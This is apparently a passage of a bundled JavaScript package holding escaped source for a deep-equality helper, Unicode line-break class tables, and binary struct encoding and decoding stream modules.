(!hasOwnProperty(b, i) || !innerDeepEqual(a[i], b[i], strict, memos)) {\n return false;\n }\n } else if (hasOwnProperty(b, i)) {\n return false;\n } else {\n // Array is sparse.\n var keysA = Object.keys(a);\n\n for (; i < keysA.length; i++) {\n var key = keysA[i];\n\n if (!hasOwnProperty(b, key) || !innerDeepEqual(a[key], b[key], strict, memos)) {\n return false;\n }\n }\n\n if (keysA.length !== Object.keys(b).length) {\n return false;\n }\n\n return true;\n }\n }\n } // The pair must have equivalent values for every corresponding key.\n // Possibly expensive deep test:\n\n\n for (i = 0; i < keys.length; i++) {\n var _key = keys[i];\n\n if (!innerDeepEqual(a[_key], b[_key], strict, memos)) {\n return false;\n }\n }\n\n return true;\n}\n\nfunction isDeepEqual(val1, val2) {\n return innerDeepEqual(val1, val2, kLoose);\n}\n\nfunction isDeepStrictEqual(val1, val2) {\n return innerDeepEqual(val1, val2, kStrict);\n}\n\nmodule.exports = {\n isDeepEqual: isDeepEqual,\n isDeepStrictEqual: isDeepStrictEqual\n};","// The following break classes are handled by the pair table\r\nexports.OP = 0; // Opening punctuation\r\nexports.CL = 1; // Closing punctuation\r\nexports.CP = 2; // Closing parenthesis\r\nexports.QU = 3; // Ambiguous quotation\r\nexports.GL = 4; // Glue\r\nexports.NS = 5; // Non-starters\r\nexports.EX = 6; // Exclamation/Interrogation\r\nexports.SY = 7; // Symbols allowing break after\r\nexports.IS = 8; // Infix separator\r\nexports.PR = 9; // Prefix\r\nexports.PO = 10; // Postfix\r\nexports.NU = 11; // Numeric\r\nexports.AL = 12; // Alphabetic\r\nexports.HL = 13; // Hebrew Letter\r\nexports.ID = 14; // Ideographic\r\nexports.IN = 15; // Inseparable characters\r\nexports.HY = 16; // Hyphen\r\nexports.BA = 17; // Break after\r\nexports.BB = 18; // Break before\r\nexports.B2 = 19; // Break on either side (but not pair)\r\nexports.ZW = 20; // Zero-width space\r\nexports.CM = 21; // Combining marks\r\nexports.WJ = 22; // Word joiner\r\nexports.H2 = 23; // Hangul LV\r\nexports.H3 = 24; // Hangul LVT\r\nexports.JL = 25; // Hangul L Jamo\r\nexports.JV = 26; // Hangul V Jamo\r\nexports.JT = 27; // Hangul T Jamo\r\nexports.RI = 28; // Regional Indicator\r\nexports.EB = 29; // Emoji Base\r\nexports.EM = 30; // Emoji Modifier\r\nexports.ZWJ = 31; // Zero Width Joiner\r\nexports.CB = 32; // Contingent break\r\n\r\n// The following break classes are not handled by the pair table\r\nexports.AI = 33; // Ambiguous (Alphabetic or Ideograph)\r\nexports.BK = 34; // Break (mandatory)\r\nexports.CJ = 35; // Conditional Japanese Starter\r\nexports.CR = 36; // Carriage return\r\nexports.LF = 37; // Line feed\r\nexports.NL = 38; // Next line\r\nexports.SA = 39; // South-East Asian\r\nexports.SG = 40; // Surrogates\r\nexports.SP = 41; // Space\r\nexports.XX = 42; // Unknown\r\n","let CI_BRK, CP_BRK, DI_BRK, IN_BRK, PR_BRK;\r\nexports.DI_BRK = (DI_BRK = 0); // Direct break opportunity\r\nexports.IN_BRK = (IN_BRK = 1); // Indirect break opportunity\r\nexports.CI_BRK = (CI_BRK = 2); // Indirect break opportunity for combining marks\r\nexports.CP_BRK = (CP_BRK = 3); // Prohibited break for combining marks\r\nexports.PR_BRK = (PR_BRK = 4); // Prohibited break\r\n\r\n// Based on example pair table from https://www.unicode.org/reports/tr14/tr14-37.html#Table2\r\n// - ZWJ special processing for LB8a of Revision 41\r\n// - CB manually added as per Rule LB20\r\n// - CL, CP, NS, SY, IS, PR, PO, HY, BA, B2 and RI manually adjusted as per LB22 of Revision 45\r\nexports.pairTable = [\r\n //OP , CL , CP , QU , GL , NS , EX , SY , IS , PR , PO , NU , AL , HL , ID , IN , HY , BA , BB , B2 , ZW , CM , WJ , H2 , H3 , JL , JV , JT , RI , EB , EM , ZWJ , CB\r\n [PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, CP_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK], // OP\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // CL\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // CP\r\n [PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, CI_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK], // QU\r\n [IN_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, CI_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK], // GL\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // NS\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // EX\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK, IN_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // SY\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // IS\r\n [IN_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK], // PR\r\n [IN_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // PO\r\n [IN_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // NU\r\n [IN_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // AL\r\n [IN_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // HL\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // ID\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // IN\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, DI_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // HY\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, DI_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // BA\r\n [IN_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, CI_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK], // BB\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, PR_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // B2\r\n [DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK], // ZW\r\n [IN_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // CM\r\n [IN_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, CI_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK], // WJ\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // H2\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // H3\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // JL\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // JV\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // JT\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // RI\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, DI_BRK], // EB\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, IN_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // EM\r\n [IN_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, PR_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, IN_BRK, IN_BRK, IN_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK], // ZWJ\r\n [DI_BRK, PR_BRK, PR_BRK, IN_BRK, IN_BRK, DI_BRK, PR_BRK, PR_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, PR_BRK, CI_BRK, PR_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, DI_BRK, IN_BRK, DI_BRK] // CB\r\n];","exports.EncodeStream = require('./src/EncodeStream');\r\nexports.DecodeStream = require('./src/DecodeStream');\r\nexports.Array = require('./src/Array');\r\nexports.LazyArray = require('./src/LazyArray');\r\nexports.Bitfield = require('./src/Bitfield');\r\nexports.Boolean = require('./src/Boolean');\r\nexports.Buffer = require('./src/Buffer');\r\nexports.Enum = require('./src/Enum');\r\nexports.Optional = require('./src/Optional');\r\nexports.Reserved = require('./src/Reserved');\r\nexports.String = require('./src/String');\r\nexports.Struct = require('./src/Struct');\r\nexports.VersionedStruct = require('./src/VersionedStruct');\r\n\r\nconst utils = require('./src/utils');\r\nconst NumberT = require('./src/Number');\r\nconst Pointer = require('./src/Pointer');\r\n\r\nObject.assign(exports, utils, NumberT, Pointer);\r\n","const {Number:NumberT} = require('./Number');\r\nconst utils = require('./utils');\r\n\r\nclass ArrayT {\r\n constructor(type, length, lengthType = 'count') {\r\n this.type = type;\r\n this.length = length;\r\n this.lengthType = lengthType;\r\n }\r\n\r\n decode(stream, parent) {\r\n let length;\r\n const { pos } = stream;\r\n\r\n const res = [];\r\n let ctx = parent;\r\n\r\n if (this.length != null) {\r\n length = utils.resolveLength(this.length, stream, parent);\r\n }\r\n\r\n if (this.length instanceof NumberT) {\r\n // define hidden properties\r\n Object.defineProperties(res, {\r\n parent: { value: parent },\r\n _startOffset: { value: pos },\r\n _currentOffset: { value: 0, writable: true },\r\n _length: { value: length }\r\n });\r\n\r\n ctx = res;\r\n }\r\n\r\n if ((length == null) || (this.lengthType === 'bytes')) {\r\n const target = (length != null) ?\r\n stream.pos + length\r\n : (parent != null ? parent._length : undefined) ?\r\n parent._startOffset + parent._length\r\n :\r\n stream.length;\r\n\r\n while (stream.pos < target) {\r\n res.push(this.type.decode(stream, ctx));\r\n }\r\n\r\n } else {\r\n for (let i = 0, end = length; i < end; i++) {\r\n res.push(this.type.decode(stream, ctx));\r\n }\r\n }\r\n\r\n return res;\r\n }\r\n\r\n size(array, ctx) {\r\n if (!array) {\r\n return this.type.size(null, ctx) * utils.resolveLength(this.length, null, ctx);\r\n }\r\n\r\n let size = 0;\r\n if (this.length instanceof NumberT) {\r\n size += this.length.size();\r\n ctx = {parent: ctx};\r\n }\r\n\r\n for (let item of array) {\r\n size += this.type.size(item, ctx);\r\n }\r\n\r\n return size;\r\n }\r\n\r\n encode(stream, array, parent) {\r\n let ctx = parent;\r\n if (this.length instanceof NumberT) {\r\n ctx = {\r\n pointers: [],\r\n startOffset: stream.pos,\r\n parent\r\n };\r\n\r\n ctx.pointerOffset = stream.pos + this.size(array, ctx);\r\n this.length.encode(stream, array.length);\r\n }\r\n\r\n for (let item of array) {\r\n this.type.encode(stream, item, ctx);\r\n }\r\n\r\n if (this.length instanceof NumberT) {\r\n let i = 0;\r\n while (i < ctx.pointers.length) {\r\n const ptr = ctx.pointers[i++];\r\n ptr.type.encode(stream, ptr.val);\r\n }\r\n }\r\n\r\n }\r\n}\r\n\r\nmodule.exports = ArrayT;\r\n","class Bitfield {\r\n constructor(type, flags = []) {\r\n this.type = type;\r\n this.flags = flags;\r\n }\r\n decode(stream) {\r\n const val = this.type.decode(stream);\r\n\r\n const res = {};\r\n for (let i = 0; i < this.flags.length; i++) {\r\n const flag = this.flags[i];\r\n if (flag != null) {\r\n res[flag] = !!(val & (1 << i));\r\n }\r\n }\r\n\r\n return res;\r\n }\r\n\r\n size() {\r\n return this.type.size();\r\n }\r\n\r\n encode(stream, keys) {\r\n let val = 0;\r\n for (let i = 0; i < this.flags.length; i++) {\r\n const flag = this.flags[i];\r\n if (flag != null) {\r\n if (keys[flag]) { val |= (1 << i); }\r\n }\r\n }\r\n\r\n return this.type.encode(stream, val);\r\n }\r\n}\r\n\r\nmodule.exports = Bitfield;\r\n","class BooleanT {\r\n constructor(type) {\r\n this.type = type;\r\n }\r\n\r\n decode(stream, parent) {\r\n return !!this.type.decode(stream, parent);\r\n }\r\n\r\n size(val, parent) {\r\n return this.type.size(val, parent);\r\n }\r\n\r\n encode(stream, val, parent) {\r\n return this.type.encode(stream, +val, parent);\r\n }\r\n}\r\n\r\nmodule.exports = BooleanT;\r\n","const utils = require('./utils');\r\nconst {Number:NumberT} = require('./Number');\r\n\r\nclass BufferT {\r\n constructor(length) {\r\n this.length = length;\r\n }\r\n decode(stream, parent) {\r\n const length = utils.resolveLength(this.length, stream, parent);\r\n return stream.readBuffer(length);\r\n }\r\n\r\n size(val, parent) {\r\n if (!val) {\r\n return utils.resolveLength(this.length, null, parent);\r\n }\r\n\r\n return val.length;\r\n }\r\n\r\n encode(stream, buf, parent) {\r\n if (this.length instanceof NumberT) {\r\n this.length.encode(stream, buf.length);\r\n }\r\n\r\n return stream.writeBuffer(buf);\r\n }\r\n}\r\n\r\nmodule.exports = BufferT;\r\n","let iconv;\r\ntry { iconv = require('iconv-lite'); } catch (error) {}\r\n\r\nclass DecodeStream {\r\n constructor(buffer) {\r\n this.buffer = buffer;\r\n this.pos = 0;\r\n this.length = this.buffer.length;\r\n }\r\n\r\n readString(length, encoding = 'ascii') {\r\n switch (encoding) {\r\n case 'utf16le': case 'ucs2': case 'utf8': case 'ascii':\r\n return this.buffer.toString(encoding, this.pos, (this.pos += length));\r\n\r\n case 'utf16be':\r\n var buf = Buffer.from(this.readBuffer(length));\r\n\r\n // swap the bytes\r\n for (let i = 0, end = buf.length - 1; i < end; i += 2) {\r\n const byte = buf[i];\r\n buf[i] = buf[i + 1];\r\n buf[i + 1] = byte;\r\n }\r\n\r\n return buf.toString('utf16le');\r\n\r\n default:\r\n buf = this.readBuffer(length);\r\n if (iconv) {\r\n try {\r\n return iconv.decode(buf, encoding);\r\n } catch (error1) {}\r\n }\r\n\r\n return buf;\r\n }\r\n }\r\n\r\n readBuffer(length) {\r\n return this.buffer.slice(this.pos, (this.pos += length));\r\n }\r\n\r\n readUInt24BE() {\r\n return (this.readUInt16BE() << 8) + this.readUInt8();\r\n }\r\n\r\n readUInt24LE() {\r\n return this.readUInt16LE() + (this.readUInt8() << 16);\r\n }\r\n\r\n readInt24BE() {\r\n return (this.readInt16BE() << 8) + this.readUInt8();\r\n }\r\n\r\n readInt24LE() {\r\n return this.readUInt16LE() + (this.readInt8() << 16);\r\n }\r\n}\r\n\r\nDecodeStream.TYPES = {\r\n UInt8: 1,\r\n UInt16: 2,\r\n UInt24: 3,\r\n UInt32: 4,\r\n Int8: 1,\r\n Int16: 2,\r\n Int24: 3,\r\n Int32: 4,\r\n Float: 4,\r\n Double: 8\r\n};\r\n\r\nfor (let key in Buffer.prototype) {\r\n if (key.slice(0, 4) === 'read') {\r\n const bytes = DecodeStream.TYPES[key.replace(/read|[BL]E/g, '')];\r\n DecodeStream.prototype[key] = function() {\r\n const ret = this.buffer[key](this.pos);\r\n this.pos += bytes;\r\n return ret;\r\n };\r\n }\r\n}\r\n\r\nmodule.exports = DecodeStream;\r\n","let iconv;\r\nconst stream = require('stream');\r\nconst DecodeStream = require('./DecodeStream');\r\ntry { iconv = require('iconv-lite'); } catch (error) {}\r\n\r\nclass EncodeStream extends stream.Readable {\r\n constructor(bufferSize = 65536) {\r\n super(...arguments);\r\n this.buffer = Buffer.alloc(bufferSize);\r\n this.bufferOffset = 0;\r\n this.pos = 0;\r\n }\r\n\r\n // do nothing, required by node\r\n _read() {}\r\n\r\n ensure(bytes) {\r\n if ((this.bufferOffset + bytes) > this.buffer.length) {\r\n return this.flush();\r\n }\r\n }\r\n\r\n flush() {\r\n if (this.bufferOffset > 0) {\r\n this.push(Buffer.from(this.buffer.slice(0, this.bufferOffset)));\r\n return this.bufferOffset = 0;\r\n }\r\n }\r\n\r\n writeBuffer(buffer) {\r\n this.flush();\r\n this.push(buffer);\r\n return this.pos += buffer.length;\r\n }\r\n\r\n writeString(string, encoding = 'ascii') {\r\n switch (encoding) {\r\n case 'utf16le': case 'ucs2': case 'utf8': case 'ascii':\r\n return this.writeBuffer(Buffer.from(string, encoding));\r\n\r\n case 'utf16be':\r\n var buf = Buffer.from(string, 'utf16le');\r\n\r\n // swap the bytes\r\n for (let i = 0, end = buf.length - 1; i < end; i += 2) {\r\n const byte = buf[i];\r\n buf[i] = buf[i + 1];\r\n buf[i + 1] = byte;\r\n }\r\n\r\n return this.writeBuffer(buf);\r\n\r\n default:\r\n if (iconv) {\r\n return this.writeBuffer(iconv.encode(string, encoding));\r\n } else {\r\n throw new Error('Install iconv-lite to enable additional string encodings.');\r\n }\r\n }\r\n }\r\n\r\n writeUInt24BE(val) {\r\n this.ensure(3);\r\n this.buffer[this.bufferOffset++] = (val >>> 16) & 0xff;\r\n this.buffer[this.bufferOffset++] = (val >>> 8) & 0xff;\r\n this.buffer[this.bufferOffset++] = val & 0xff;\r\n return this.pos += 3;\r\n }\r\n\r\n writeUInt24LE(val) {\r\n this.ensure(3);\r\n this.buffer[this.bufferOffset++] = val & 0xff;\r\n this.buffer[this.bufferOffset++] = (val >>> 8) & 0xff;\r\n this.buffer[this.bufferOffset++] = (val >>> 16) & 0xff;\r\n return this.pos += 3;\r\n }\r\n\r\n writeInt24BE(val) {\r\n if (val >= 0) {\r\n return this.writeUInt24BE(val);\r\n } else {\r\n return this.writeUInt24BE(val + 0xffffff + 1);\r\n }\r\n }\r\n\r\n writeInt24LE(val) {\r\n if (val >= 0) {\r\n return this.writeUInt24LE(val);\r\n } else {\r\n return this.writeUInt24LE(val + 0xffffff + 1);\r\n }\r\n }\r\n\r\n fill(val, length) {\r\n if (length < this.buffer.length) {\r\n this.ensure(length);\r\n this.buffer.fill(val, this.bufferOffset, this.bufferOffset + length);\r\n this.bufferOffset += length;\r\n return this.pos += length;\r\n } else {\r\n const buf = Buffer.alloc(length);\r\n buf.fill(val);\r\n return this.writeBuffer(buf);\r\n }\r\n }\r\n\r\n end() {\r\n this.flush();\r\n return this.push(null);\r\n }\r\n}\r\n\r\nfor (let key in Buffer.prototype) {\r\n if (key.slice(0, 5) === 'write') {\r\n const bytes = +DecodeStream.TYPES[key.replace(/write|[BL]E/g, '')];\r\n EncodeStream.prototype[key] = function(value) {\r\n this.ensure(bytes);\r\n this.buffer[key](value, this.bufferOffset);\r\n this.bufferOffset += bytes;\r\n return this.pos += bytes;\r\n };\r\n 